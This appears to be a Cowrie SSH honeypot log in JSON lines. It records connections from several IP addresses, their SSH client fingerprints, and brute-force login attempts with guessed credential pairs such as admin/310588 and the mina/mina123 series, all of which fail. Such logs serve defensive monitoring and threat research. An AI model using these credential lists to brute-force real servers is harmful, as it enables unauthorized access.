{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:26:04.396448Z","src_ip":"2.57.122.208","session":"72fade40d548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:26:05.064105Z","src_ip":"2.57.122.208","session":"72fade40d548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:26:06.340786Z","src_ip":"2.57.122.208","session":"72fade40d548","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":54260,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb4531d46a89","protocol":"ssh","message":"New connection: 142.93.139.168:54260 (10.17.0.5:22) [session: bb4531d46a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:26:54.399520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:26:54.402879Z","src_ip":"142.93.139.168","session":"bb4531d46a89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:26:54.478898Z","src_ip":"142.93.139.168","session":"bb4531d46a89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ost","password":"ost2018!","message":"login attempt [ost/ost2018!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:26:54.634630Z","src_ip":"142.93.139.168","session":"bb4531d46a89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:26:55.713353Z","src_ip":"142.93.139.168","session":"bb4531d46a89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":43218,"dst_ip":"159.203.135.109","dst_port":22,"session":"af2355e4919d","protocol":"ssh","message":"New connection: 2.57.122.96:43218 (159.203.135.109:22) [session: af2355e4919d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:01.757296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:01.762100Z","src_ip":"2.57.122.96","session":"af2355e4919d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:01.861603Z","src_ip":"2.57.122.96","session":"af2355e4919d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ2wsx","message":"login attempt [ubuntu/1qaz!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:02.160799Z","src_ip":"2.57.122.96","session":"af2355e4919d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:03.261562Z","src_ip":"2.57.122.96","session":"af2355e4919d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":58628,"dst_ip":"10.17.0.5","dst_port":22,"session":"21b35fd13720","protocol":"ssh","message":"New connection: 213.209.159.159:58628 (10.17.0.5:22) [session: 21b35fd13720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:03.371957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:04.019799Z","src_ip":"213.209.159.159","session":"21b35fd13720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:04.098596Z","src_ip":"213.209.159.159","session":"21b35fd13720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mina","password":"mina","message":"login attempt [mina/mina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:04.499184Z","src_ip":"213.209.159.159","session":"21b35fd13720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mina","password":"mina1","message":"login attempt [mina/mina1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:05.582715Z","src_ip":"213.209.159.159","session":"21b35fd13720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mina","password":"mina123","message":"login attempt [mina/mina123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:06.666652Z","src_ip":"213.209.159.159","session":"21b35fd13720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mina","password":"mina1234","message":"login attempt [mina/mina1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:07.751235Z","src_ip":"213.209.159.159","session":"21b35fd13720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mina","password":"mina12345","message":"login attempt [mina/mina12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:08.835617Z","src_ip":"213.209.159.159","session":"21b35fd13720","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:09.920347Z","src_ip":"213.209.159.159","session":"21b35fd13720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":33642,"dst_ip":"159.203.135.109","dst_port":22,"session":"576e6e09b10d","protocol":"ssh","message":"New connection: 2.57.122.208:33642 (159.203.135.109:22) [session: 576e6e09b10d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:42.015220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:42.121071Z","src_ip":"2.57.122.208","session":"576e6e09b10d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:42.125264Z","src_ip":"2.57.122.208","session":"576e6e09b10d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:43.158560Z","src_ip":"2.57.122.208","session":"576e6e09b10d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:44.307296Z","src_ip":"2.57.122.208","session":"576e6e09b10d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":12730,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fcb8dab9132","protocol":"ssh","message":"New connection: 2.57.121.112:12730 (10.17.0.5:22) [session: 5fcb8dab9132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:53.702958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:53.707209Z","src_ip":"2.57.121.112","session":"5fcb8dab9132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:53.811024Z","src_ip":"2.57.121.112","session":"5fcb8dab9132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31071973","message":"login attempt [admin/31071973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:54.299206Z","src_ip":"2.57.121.112","session":"5fcb8dab9132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310588","message":"login attempt [admin/310588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:55.405397Z","src_ip":"2.57.121.112","session":"5fcb8dab9132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310581","message":"login attempt [admin/310581] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:56.512512Z","src_ip":"2.57.121.112","session":"5fcb8dab9132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310393","message":"login attempt [admin/310393] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:57.619289Z","src_ip":"2.57.121.112","session":"5fcb8dab9132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3103","message":"login attempt [admin/3103] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:58.725594Z","src_ip":"2.57.121.112","session":"5fcb8dab9132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:27:59.831520Z","src_ip":"2.57.121.112","session":"5fcb8dab9132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40206,"dst_ip":"10.17.0.5","dst_port":22,"session":"13630892f48e","protocol":"ssh","message":"New connection: 2.57.122.208:40206 (10.17.0.5:22) [session: 13630892f48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:28:15.663129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:28:15.667035Z","src_ip":"2.57.122.208","session":"13630892f48e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:28:15.772750Z","src_ip":"2.57.122.208","session":"13630892f48e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:28:16.084049Z","src_ip":"2.57.122.208","session":"13630892f48e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:28:17.209833Z","src_ip":"2.57.122.208","session":"13630892f48e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":23939,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a52bfc5004b","protocol":"ssh","message":"New connection: 2.57.121.112:23939 (159.203.135.109:22) [session: 1a52bfc5004b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:29:09.698506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:29:09.702453Z","src_ip":"2.57.121.112","session":"1a52bfc5004b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:29:09.806469Z","src_ip":"2.57.121.112","session":"1a52bfc5004b","protocol":"ssh"}
